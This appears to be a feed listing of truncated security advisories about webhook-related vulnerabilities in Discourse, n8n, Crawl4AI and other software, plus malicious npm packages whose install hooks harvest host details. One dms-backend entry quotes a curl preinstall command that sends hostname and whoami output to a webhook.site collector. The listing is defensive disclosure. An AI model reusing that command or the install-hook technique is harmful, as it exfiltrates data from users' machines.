BIT-DISCOURSE-2026-47263 Discourse: Prevent webhook payload disclosure on event redelivery

Discourse is an open-source discussion platform. From versions 2026.1.0 to before 2026.1.4, 2026.3.0 to before 2026.3.1, and 2026.4.0 to before 2026.4.1, the MessageBus.publish call for /webhookevents/ in Jobs::RedeliverWebHookEvents did not pass groupids, leaving the channel readable by any...

Malicious code in carousel-controller-mixin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c1a4b1be297682ca77d8a92fc502887ee6d718a5541fa88413acdc6accb3ed97 package.json declares both preinstall and postinstall hooks that execute callback.js on every install. callback.js collects username, uid, hostname,...

MAL-2026-5856 Malicious code in carousel-controller-mixin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c1a4b1be297682ca77d8a92fc502887ee6d718a5541fa88413acdc6accb3ed97 package.json declares both preinstall and postinstall hooks that execute callback.js on every install. callback.js collects username, uid, hostname,...

Malicious code in setka-editor (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a9dd5cda5d5a0925c139a36f0ea4c69b96052ff203d7dc365ac119408ba76069 package.json registers both preinstall and postinstall lifecycle hooks that run node callback.js, which executes automatically on npm install...

MAL-2026-5859 Malicious code in setka-editor (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a9dd5cda5d5a0925c139a36f0ea4c69b96052ff203d7dc365ac119408ba76069 package.json registers both preinstall and postinstall lifecycle hooks that run node callback.js, which executes automatically on npm install...

PT-2026-50174

Name of the Vulnerable Software and Affected Versions n8n versions prior to 2.25.7 n8n versions prior to 2.26.2 Description The MicrosoftAgent365Trigger and StripeTrigger nodes fail to validate inbound requests. This allows an unauthenticated attacker with knowledge of the webhook URL to submit a...

PT-2026-50168

Name of the Vulnerable Software and Affected Versions n8n versions prior to 1.123.55 n8n versions prior to 2.25.7 n8n versions prior to 2.26.2 Description An authenticated user with workflow edit access can inject arbitrary JavaScript into the page generated by the Chat Trigger by providing a...

PT-2026-50172

Name of the Vulnerable Software and Affected Versions n8n versions prior to 2.25.7 n8n versions prior to 2.26.2 Description A prototype pollution issue allows a crafted public webhook payload to inject attacker-controlled fields into workflow data during internal object copying. Prototype polluti...

Crawl4AI: Arbitrary file write (symlink/TOCTOU) plus log and webhook-header injection in Docker server

Three backward-compatible hardening fixes in the Docker API server. The headline issue is an arbitrary file write via the screenshot/PDF outputpath...

PT-2026-50167

Name of the Vulnerable Software and Affected Versions n8n versions prior to 1.123.55 n8n versions prior to 2.25.7 n8n versions prior to 2.26.2 Description An authenticated user with workflow edit access can configure a 'Respond to Webhook' node to serve binary content using an attacker-controlled...

PT-2026-57168

Name of the Vulnerable Software and Affected Versions Crawl4AI versions prior to 0.8.7 Description The Docker API server contains a server-side request forgery SSRF issue where the server makes requests to internal services due to a lack of destination validation for webhook URLs. This can lead t...

EUVD-2026-36784

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request...

EUVD-2026-36773

Incorrect access control in the /form/webhooks/webhook endpoint of Deck9 Input v2.0.1 allows authenticated attackers to arbitrarily modify or delete another tenant's webhook via a crafted request...

CVE-2026-50886

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request...

CVE-2026-50875

Incorrect access control in the /form/webhooks/webhook endpoint of Deck9 Input v2.0.1 allows authenticated attackers to arbitrarily modify or delete another tenant's webhook via a crafted request...

Malicious code in yunxin-overmind-comment (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 57551a10d99024d1d12c7f2e349e6557613ed3a5e036bf45d71129d501fbbabc On npm install, the package's scripts.postinstall runs src/postinstall.js, which spawns a detached Node child that collects the installer's hostname,...

MAL-2026-5833 Malicious code in yunxin-overmind-comment (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 57551a10d99024d1d12c7f2e349e6557613ed3a5e036bf45d71129d501fbbabc On npm install, the package's scripts.postinstall runs src/postinstall.js, which spawns a detached Node child that collects the installer's hostname,...

MAL-2026-5826 Malicious code in dms-backend (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bd479ea3869dae33e183f9164c4e9c7c11a2170728288012647fe2af4d55426e package.json declares a preinstall lifecycle script that runs curl --data-urlencode "info=$hostname && whoami && pwd" against a webhook.site collecto...

Malicious code in dms-backend (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bd479ea3869dae33e183f9164c4e9c7c11a2170728288012647fe2af4d55426e package.json declares a preinstall lifecycle script that runs curl --data-urlencode "info=$hostname && whoami && pwd" against a webhook.site collecto...

GHSA-RRJ9-5Q2J-4GVR Symfony: Mailomat Mailer Webhook Parser Reads the HMAC Algorithm from the Request: Signature Algorithm Downgrade

Description Symfony\Component\Mailer\Bridge\Mailomat\Webhook\MailomatRequestParser::validateSignature parses the X-MOM-Webhook-Signature request header as algo=signature and passes the wire-supplied $algo directly to hashhmac when verifying the request against the configured webhook secret. The...